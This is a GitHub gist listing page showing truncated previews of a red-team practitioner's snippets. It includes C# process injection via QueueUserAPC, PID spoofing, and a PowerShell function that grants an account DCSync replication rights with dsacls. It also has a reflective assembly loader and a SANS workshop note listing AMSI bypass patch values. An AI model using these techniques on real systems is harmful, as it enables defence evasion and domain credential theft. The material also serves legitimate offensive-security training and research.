Skip to content

Instantly share code, notes, and snippets.

@jfmaes
jfmaes / DInjectQueuerAPC.cs
Created November 13, 2020 19:00
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DinjectorWithQUserAPC
{
public class Program
@jfmaes
jfmaes / functionextract.py
Created April 26, 2023 07:35
MSDN function definition scraper. requires chromium driver.
import argparse
import selenium as se
from selenium import webdriver
from bs4 import BeautifulSoup
import time
def main():
parser = argparse.ArgumentParser(description = 'extract function definitions from MSDN')
parser.add_argument('--methods', help='list of methods',required=True)
args = parser.parse_args()
#methods_list = []
@jfmaes
jfmaes / pidspoofDinvoke.cs
Last active January 17, 2023 02:28
PIDSpoof-DInvoke-Dev-Nuget-NoDynamicAPIIInvoke
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace DInvoke_PIDSpoof_DevNuget
{
class Program
{
static void Main(string[] args)
@jfmaes
jfmaes / jumps.txt
Created October 19, 2022 14:35
dont even ask.
ntdll.dll
DbgQueryDebugFilterState from ntdll.dll
DbgQueryDebugFilterState from ntdll.dll
DbgQueryDebugFilterState from ntdll.dll
DbgSetDebugFilterState from ntdll.dll
EtwpGetCpuSpeed from ntdll.dll
LdrAccessResource from ntdll.dll
LdrCallEnclave from ntdll.dll
LdrProcessRelocationBlockEx from ntdll.dll
NtQuerySystemTime from ntdll.dll
@jfmaes
jfmaes / Invoke-SyncMeUp.ps1
Created February 26, 2022 10:28
Invoke-SyncMeUp.ps1
function Invoke-SyncMeUp{
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$AccountName
)
$dse = [ADSI]"LDAP://Rootdse"
$namingcontext = $dse.defaultNamingContext
echo "Giving $AccountName DCSync rights"
dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes"
@jfmaes
jfmaes / AppDomainResolveTest.cs
Created December 21, 2020 09:53
example ingestor of NvisoLib for the blogpost
using System;
using NvisoLib;
using System.Reflection;
namespace AppDomainResolveTest
{
class Program
{
static void Main(string[] args)
{
@jfmaes
jfmaes / reflectiondemo.ps1
Created December 21, 2020 09:09
Sample Reflection of the HelloFromDotNetFramework assembly for the blogpost
clear
$bytes=[System.IO.File]::ReadAllBytes("C:\Users\jeanm\source\repos\HelloFromDotNetFramework\bin\Release\HelloFromDotNetFramework.exe")
$asm = [System.Reflection.Assembly]::Load($bytes)
$params = {null}
[HelloFromDotNetFramework.Program]::Main($params)
@jfmaes
jfmaes / ipexploder.py
Created January 27, 2022 11:41
explode ips
import argparse
from ipaddress import IPv4Network
import os
def banner():
print(r"""
c=====e
H
____________ _,,_H____
@jfmaes
jfmaes / SANSReflection.txt
Created October 4, 2021 11:59
Register for the SEC699 ;-)
Hi SANS Workshop Attendees! Reflection is super fun!
amsi.dll
AmsiScanBuffer
uFcAB4DD
@jfmaes
jfmaes / ssl-scraper.py
Last active September 10, 2021 16:52
extract hostnames based on SSL certificates
#!/usr/bin/python
import requests
from socket import *
from requests.packages.urllib3.contrib import pyopenssl as reqs
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import ipaddress
#import asyncio